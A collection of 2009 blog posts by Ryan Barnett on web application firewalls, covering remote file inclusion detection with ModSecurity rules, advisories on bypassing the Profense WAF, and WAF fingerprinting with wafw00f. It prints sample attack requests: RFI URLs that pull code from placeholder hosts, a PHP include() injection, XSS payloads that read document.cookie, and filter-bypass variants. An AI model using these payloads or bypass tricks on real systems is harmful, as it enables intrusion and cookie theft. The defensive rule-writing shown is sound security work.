We've been blind to attacks on our Web sites

Submitted by Ryan Barnett 6/22/2009

There was an interesting article posted over on Inforworld's website entitled We've been blind to attacks on our Web sites that drives home an important use-case for web application firewalls - visibility of web traffic. Too many people get caught up in the "Block attacks with a WAF" mentality that they forget about the insight that can be gained into simply having full access to the inbound request and response data. From the article -

Of course, as the security manager, I can't afford a false sense of security, so I recently took some steps to find out just what was going on within our Web servers' network traffic. And it turns out that many attacks have been getting through our firewalls undetected. We'll never know how long this has been going on.

This is a typical first reaction. Most of today's network firewalls have some sort of Deep Packet Inspection capabilities however most people don't use it due to performance hits. The firewalls are mainly geared towards either allowing a connection or not based on the source destination IPs and Port combos instead of the actual application payloads. This is somewhat like when you use the telephone to call someone. A firewall would just check to see if you are allowed to call that phone number or not but it doesn't usually look at what you are actually saying in the conversation once you are connected. The other big hindrance to inspecting web traffic at a network firewall is SSL. You have to be able to decrypt the layer 7 data in order to inspect it.

My company's front-end Web servers, which directly receive connections from the Internet through our firewalls, are definitely a hot spot in our network. The firewalls and IDS allow us to see some of what's going on, but can they really detect active content-based attacks? To find out, I installed a Web application firewall in my company's DMZ to tell us about active attacks that may not be identified by our other devices. I set the device up in monitor mode, though it can be set up to block attacks, because my goal was just to see what was going on. I wanted to know more about what's inside the connections to those Web servers.

This section shows that the WAF can initially be deployed in a "Detection Only" or monitoring mode to allow for visibility.

What I discovered is that our Web sites are being "scraped" by other companies -- our competitors! Some of the information on our sites is valuable intellectual property. It is provided online, in a restricted manner (passwords and such), to our customers. Such restrictions aren't very difficult to overcome for the Web crawlers that our competitors are using, because webmasters usually don't know much about security. They make a token attempt to put passwords and restrictions on sensitive files, but they often don't do a very good job.

Scraping attacks that are executed by legitimate users and aim to siphon off large amounts of data are a serious threat to many organizations. They types of attacks can not be identified by signature based rules as there is no overt malicious behavior to identify if only one individual transaction is inspected. Behavioral analysis needs to be employed to correlate multiple transactions over a specified time period to see if the there is an excessive rate being used. Anti-automation defenses here are critical.

Our Web application firewall found some other problems as well. We experience hundreds of SQL injection attack attempts every day. So far, none has been successful, but I'm amazed at the sheer volume. I can't imagine anyone having the time to sit around trying SQL injection attacks against random Web servers, so I have to assume that these attacks are coming from automated scripts. In any case, they are textbook examples of SQL injection, each one walking through various combinations of SQL code embedded in HTML. It looks like we've done a good job of securing our Web applications against these attacks, but it's always a little disconcerting to hear invaders pounding on the door.

As this section of the article shows, having visibility into the types of automated attacks being launched against a web application provides two key pieces of data -

1. Understanding of the Threat component of the Risk equation - there are many academic types of debates and discussions that happen early on in the development of software. One of the more challenging aspects to quantify is the threat. Is there really anyone out there targeting our sites? Where are they coming from? What attacks are they launching? Without this type of confirmed data obtained from the production network, it is difficult to accurately do threat modeling.
2. Validation of secure coding practices - it will become evident very quickly whether or not the web application is vulnerable to these types of injection attacks. If the application does not implement proper input validation mechanisms, then there is a possibility that the injected code will be executed and the application will respond abnormally. By inspecting both the inbound request and the outbound response, it is possible to confirm if/when/where input validation is faltering.

Challenges to webappsec - lightweight development

Submitted by Ryan Barnett 6/15/2009

Lightweight development of web applications (using WYWIWYG editors such as Shockwave/Flash) has created an interesting hiring trend that I believe has negatively impacted web application security. Due to the fact that these web development tools are so easy to use, they do not need to be run by an actual programmer. This fact has resulted in a major shift of web content being created by Graphic Designers instead of actual web application developers. Here is an actual job posting that I just ran across that confirms this trend:

About the Job

Web Graphic Designer / Flash Designer

Direct Response company is seeking a full-time, talented web designer who can hit the ground running, working with in-house designers to help design and develop concepts and web campaigns for various products. This is NOT a programming and/or developer position, we are looking for graphic designers who are experienced in web design.

This may not pose any significant security issues if you are only displaying a dynamic intro page to your site, however these types of applications are doing more and more these days. There are been numerous security vulnerabilities identified within Flash applications such as XSS and there are even been some assessment tools released such as SWFScan to help find issues.

The big problem that I see is that it is hard enough to try and develop secure web application code when you have a true developer who is trained in secure coding principles. You don't have a fighting chance of having secure code if you now ask someone who is not a developer and is using a lightweight development tool like Flash. To make matters worse, if you are in this scenario and then you do happen to run vulnerability assessments against the resulting code, what are you going to do to fix the issue??? Good luck having your Graphic Designer fix the CSRF bug you found in their splash page.

Generic Remote File Inclusion Attack Detection

Submitted by Ryan Barnett 6/10/2009

A big challenge for identifying web application attacks is to detect malicious activity that cannot easily be spotted using using signatures. Remote file inclusion (RFI) is a popular technique used to attack web applications (especially php applications) from a remote server. RFI attacks are extremely dangerous as they allow a client to to force an vulnerable application to run their own malicious code by including a reference pointer to code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval.

The application vulnerability leading to RFI is a result of insufficient validation on user input. In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesn’t contain invalid characters or reference to an unauthorized external location. Or Katz, who is the WebDefend signature team lead at Breach Security recently gave a presentation at the OWASP Local Chapter meeting in Israel and Breach Security Labs has since released a whitepaper based on his research. I would like to highlight a few of the detection items that were presented.

Challenges to Generic Detection

When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to use the following regular expression to search for a signature such as “(ht|f)tps?://” within parameter payloads. This initially seems like a good approach as this would identify the beginning portions of a fully qualified URI. While this is true, this approach will unfortunately result in many false positives due to the following:

• There are request parameters which are used as external link (e.g. - accepts http:// as valid input) that point either back to the local host (WordPress and other apps do this) or legitimately point to a resource on a remote site.
• There are "free text" request parameters that are prone to false positives. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack).

URL Contains an IP Address

Most legitimate URL referencing is done by specifying an actual domain/hostname and as such using an IP address as external link may indicate an attack. A typical attack using an IP address looks like:

GET /?include=http://192.0.55.2/hacker.txt HTTP/1.1

Host: www.test.com

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Therefore a rule for detecting such a condition should search for the pattern “(ht|f)tps?:\/\/” followed by an IP address. An example ModSecurity rule to detect it is:

SecRule ARGS "@rx (ht|f)tps?:\/\/([\d\.]+)" \

"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:Remote File Inclusion.'"

The PHP "include()" Function

Breach Security Labs has seen any attack vectors (from customer logs and honeypot data samples) that try to include remote file by using the PHP "include" keyword function. A typical attack using an include PHP keyword looks like:

GET /?id={${include("http://www.malicuos_site.com/hacker.txt")}}{${exit()}}HTTP/1.1

Host: www.test.com

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

A rule for detecting such a condition should search for “include(“ followed by “(ht|f)tps?:\/\/”. An example ModSecurity rule to detect this is:

SecRule ARGS "@rx \binclude\s*\([^)]*(ht|f)tps?:\/\/" \

"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion'"

RFI Data Ends with a Question Mark (?)

Appending question marks to the end of the injected RFI payload is a common technique and is somewhat similar to SQL Injection payloads utilizing comment specifiers (--, ;-- or #) at the end of their payloads. The RFI attackers don't know what the remainder of the PHP code that they are going to be included into is supposed to do. So, by adding the "?" character, the remainder of the local PHP code is actually treated as a parameter to the RFI included code. The RFI code then simply ignores the legitmate code and only executes its own. A typical attack using a question mark at end looks like:

GET /?include=http://www.malicuos_site.com/hacker.txt? HTTP/1.1

Host: www.test.com

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

A rule for detecting such a condition such an attack should search for “(ft|htt)ps?.*\?$”. An example ModSecurity rule to detect it is:

SecRule ARGS "@rx (ft|htt)ps?.*\?+$" \

"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion'"

RFI Host Doesn't Match Local Host

One other technique that can be used to detect RFI attacks (when the application never legitimately references files offsite) is to inspect the domain name/hostname specified within the parameter payload and then compare it to the Host header data submitted in the request. If the two items match, then this would allow the normal fully qualified referencing back to the local site while simultaneously deny offsite references. For example, the following legitimate request would be allowed as the hostnames match:

GET /path/to/app?foo=bar&filename=http://www.example.com/somefile.txt HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

A rule for detecting such a condition such an attack should initially search for “^(?:ht|f)tps?:\/\/(.*)\?$” which also captures the hostname data within the 2nd parentheses. The 2nd part of this rule then compares the saved capture data with the macro expanded Host header data from the request. An example ModSecurity rule to detect it is:

SecRule ARGS "^(?:ht|f)tps?://(.*)\?$" \

"chain,phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,log,auditlog,status:501,msg:'Remote File Inclusion Attack'"

SecRule TX:1 "!@beginsWith %{request_headers.host}"

These generic RFI rules could be used individually or collaboratively in an anomaly scoring scenario to help identify these types of attacks. Keep an eye out for a major public release of the new ModSecurity Core Rule Set (CRS) as it will include these new rules and many others.

WAF Bypass Issues: Poor Negative and Positive Security

Submitted by Ryan Barnett 6/5/2009

In my previous post I provided an overview of potential WAF identification techniques discussed in a recent OWASP AppSec conference talk. In this entry, I want to discuss the other half of their talk which highlights a few different WAF/security filter bypass issues. From their Advisory report, we find the following two main issues -

Negative Security Signature Bypass

::::: Blacklist / negative model bypass :::::
CVE: CVE-2009-1593
Description: Profense Web Application Firewall with default configuration in negative model can be evaded to inject XSS.
Technical Description:
Versions 2.4 and 2.2 of Profense Web Application Firewall with the default configuration in negative model (blacklist approach) can be evaded to inject XSS (Cross-Site Scripting). The problem is due to the built-in core rules that can be abused using the flexibility provided by HTML and JavaScript.
The vulnerability can be reproduced by injecting a common XSS attack in a vulnerable application protected by Profense Web Application Firewall. Inserting extra characters in the JavaScript close tag will bypass the XSS protection mechanisms. An example is shown below:
http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

As you can see from the bolded section of the closing script tag above, by inserting extra text within this tag, it was able to bypass the negative signature that was within the WAF.

Analysis

When creating negative security regular expression filters, it is challenging to make them accurate and balance both false positives and negatives. In this particular case, it seems as though the Cross-site Scripting (XSS) signatures were a bit too specific, since the signature(s) were able to be bypassed by adding in additional text to the closing script tag. This leads me to believe that perhaps all of the XSS signatures ended with a closing script tag. XSS attacks don't always have to end with this tag for two main reasons -

1. Some browsers only need to see the opening script tag in order to execute the payloads, and
2. Many XSS vulnerabilities manifest themselves because the client supplied data is inserted into an existing script tag in the output so including it within the attack payload is not necessary.

It is for these types of reasons that many people use negative security signatures that look for smaller components of attack payloads rather than trying to describe the entire thing. For instance, in this case, what about some smaller individual regexs that looked for the opening script tag, the alert( action or the document.cookie object on their own? If you use smaller signatures, then you could still correlate matches together as part of an anomaly score and it would be more difficult for an attacker to circumvent them all.

While this specific advisory identified an issue with one particular WAF vendor it could happen to any of them. Anyone who has been in the security industry for a period of time understands that negative security rules or signatures is not bullet proof and evasions are always a concern. It is somewhat like the Anti-Virus market in that user's are constantly playing catchup with the bad guy's newest attack techniques. If you rely upon negative security signatures that are created specifically for known attack vector's then you are doomed to run on the Hamster Wheel of Pain where you have to update the signatures constantly.

Considering that this specific issue was a bypass/evasion of a negative security rule - I do not necessarily believe that it warranted an actual public vulnerability announcement. If public announcements for negative security filter bypasses of a security device was the norm, then we would be flooded with them for all IDS/IPS/WAF systems as they all have bypass problems. It is for this reason that you can not rely upon negative security rules/signatures alone for protection against web application attacks. You need to also utilize positive security rules, which brings us to the 2nd part of the advisory.

Positive Security Model Bypass

::::: Whitelist / positive model bypass :::::
CVE: CVE-2009-1594
Description: 
Profense Web Application Firewall configured in positive model can be evaded.
Technical details:
Profense Web Application Firewall configured to make use of the strong positive model (white-list approach) can be evaded to launch various attacks including XSS (Cross-Site Scripting), SQL Injection, remote command execution, and others. 
The vulnerability can be reproduced by making use of a URL-encoded new line character. The pattern matching in multi line mode matches any non-hostile line and marks the whole request as legitimate, thus allowing the request. This results in a bypass in the positive model. An example is showed below:
http://testcases/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass

Similar to the negative security bypass issue shown previously, the security researches found that they could evade the positive security model profile by inserting a url encoded linefeed character (%0A) to the end of the attack payload and then appending a payload that actually matched the acceptable profile.

Analysis

While I somewhat downplayed the previous negative security bypass issue, I do believe that this is a serious vulnerability and it certainly does warrant a public announcement. This is more serious of an issue as it isn't just a particular signature that is evaded but potentially an entire set of signatures/rules that are meant to provide better confirmation of the payload.

The underlying problem with this particular WAF application is that its Regular Expression engine was most likely configured to run in "multiline mode." Combine that configuration with a poorly constructed positive security regular expression ruleset (that is not utilizing proper beginning/end of line anchoring) and you end up with this bypass situation.

Proper construction of positive security regular expression rules is not an easy task. Remo is a GUI rules editor for ModSecurity rules and it is quite useful for manually creating these positive security rules to enforce items such as the expected character set, format of length. Here is a graphical representation of what Remo does with the data inserted by the user.

If you look and see how the data is translated into the ModSecurity rules language syntax, it is using a regular expression operator that is using beginning (^) and end of line ($) anchors to ensure that the character classes specified match against the entire payload and not just a portion of it.

Conclusion

A few closing thoughts on this topic. First of all, this advisory shows that both negative and positive security models can have shortcomings and flaws. It is not enough to rely upon either one alone. A top tier WAF should be able to take data from both the negative security signatures and any anomalies identified from the positive security model and then correlate them together for increased intelligence and coverage. If you look at both of these examples together, these two components were clearly used in a mutually exclusive fashion. It seems as if the positive security model was used, then the negative security signatures were not evaluated. From a sheer performance perspective this might be good, but not from a security one. These two models should be used together for better coverage.

Any web security device that is apply regular expression filters/signatures/rules should be reviewed to validate exactly how the regular expression engine is configured and to review the construction of the rules themselves.

WAF Detection with wafw00f

Submitted by Ryan Barnett 06/03/2009

Another interesting presentation that was given by Wendel Guglielmetti Henrique, Trustwave & Sandro Gauci, EnableSecurity at the recent OWASP AppSec EU conference was entitled The Truth about Web Application Firewalls: What the vendors don't want you to know.  The two main topics to the talk were WAF detection and evasion.

WAF Detection

The basic premise for this topic is that inline WAFs can be detected through stimulus/response testing scenarios.  Here is a short listing of possible detection methods:

• Cookies - Some WAF products add their own cookie in the HTTP communication.
• Server Cloaking - Altering URLs and Response Headers
• Response Codes - Different error codes for hostile pages/parameters values
• Drop Action - Sending a FIN/RST packet (technically could also be an IDS/IPS)
• Pre Built-In Rules - Each WAF has different negative security signatures

The authors even created a tool called wafw00f to help automate these fingerprinting tasks.  The tool states that it is able to identify over 20 different WAFs (including ModSecurity) so I thought I would try it out against my own ModSecurity install to see how it works.  After reviewing the python source code and running a few tests, it is evident that in order for wafw00f to identify a ModSecurity installation, it is relying upon the Pre Built-In Rules category as mentioned above.  Specifically, if a ModSecurity installation is using the Core Rule Set and has the SecRuleEngine On directive set, then the OS command/file access attack payloads sent by wafw00f will trigger the corresponding rules and a 501 response status code will be returned.

Reliance upon the returned HTTP status code is not a strong indicator of the existence of a WAF as this can be easily changed.  Looking on the other end of the spectrum, and taking a defensive posture, this scenario reminds me somewhat of best practice steps for virtual patch creation.  One of the key tenants for creating these patches is that you don't want to key off of attributes in an attack payload that are superfluous.  The point being is that there are only a small set of key elements that are key to the success of the exploit.  These are the items that you want to focus on for a virtual patch.  If, however, you key off of non-essential data from some proof of concept code, your virtual patch can be easily evaded if the attack alters this data.  In this particular case with wafw00f, the HTTP response code generated by ModSecurity is customizable by the polices so the identification effectiveness is reduced to only "Default Configurations."  With ModSecurity, for instance, it is trivial to update the status action of the Core Rule Set to use some other status code.  This can be accomplished in a number of ways such as by using the block action in the rules or SecRuleUpdateActionById directive to change what status code is returned.

This is an interesting tool in that it aids with the pentesting/assessment steps of footprinting the target network.  The more details that you can identify about the target, the more finely tuned your attack strategy can be.  With this in mind, if you want to easily trick wafw00f, you could always update the SecServerSignature ModSecurity directive to spoof the server response header and impersonate another WAF product :)  Take a look at the wafw00f code for hints on what data to use.